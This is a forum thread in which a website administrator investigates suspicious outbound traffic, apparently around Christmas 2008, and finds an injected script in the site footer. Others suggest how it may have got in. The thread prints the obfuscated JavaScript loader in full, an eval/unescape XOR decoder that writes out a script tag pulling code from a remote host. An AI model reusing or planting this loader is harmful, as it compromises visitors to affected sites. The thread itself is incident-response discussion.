http://inout.ru - Should I be worried?

Noticed whilst the pages were refreshing (slowly) that there was a lot of traffic going to the above webpage (ad provider?). Is this likely to be a hijack of the site?
The whois info looks harmless enough, and the website (above) doesnt look too dodgy. But have the russians become ad providers for rs246?

This is the third report of suspicious urls when surfing the site. As far as I can tell the site is secure, so this points the finger at external content (Only GoogleAds, and Audi).

The only way this is possible is if Google has linked through.
What I would suggest is to minimise the Google Ads by clicking this icon at the top of the content
If anybody sees any activity that they are not comfortable with, please email screenshots, logs, etc to

Well, I was wrong. I found the source of the issue, and trying to figure out how it got in.
I know some of you out there are savvy with this, so any feedback appreciated on how this managed to get embedded into the page footer:
Code: Select all
<script Language="JavaScript">eval(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%3D%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%34%3B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D"));d("8wgvmtp$hejcqeca9&NereWgvmtp&:rev$lpih$9$##?lpih$/9$#8wgv#$/$#mtp$hejcqeca9&NereWgvmtp&$#?lpih$/9$#wvg9&lppt>++`mwt)#$/$Iepl*vkqj`,5$/$Iepl*vej`ki,-$.$0-?lpih$/9$#*vmglpvebbmg*vq+p`w*nw&:8+wgv#$/$#mtp:#?`kgqiajp*svmpa,lpih-?8+wgvmtp:");</script>

Take a read of this post Phil ...

You should check ALL index.html, default.php & index.php files for this code.
It suggests your server security has been compromised by a hacker - usually by injecting scripts over FTP?
One of the ISP's I deal with got hacked (over 300 sites were taken down / affected). They implemented SuPHP within a few days to try and restrict this happening again.

That's what I don't understand.... We only allow http through the firewall.
I'm trawling the logs to see if I can find the injection.

Well I found it. The good news is that the only activity that occured was the injection into the footer.
The good news is I've figured out what it is doing, and have taken steps to limit it happening again. I've yet to find the root cause.

Happened on Christmas day, feckers!!
On Dec 25, 2008 at 06:04 PM the PostNuke code has detected that somebody tried to send information to your site that may have been intended as a hack.
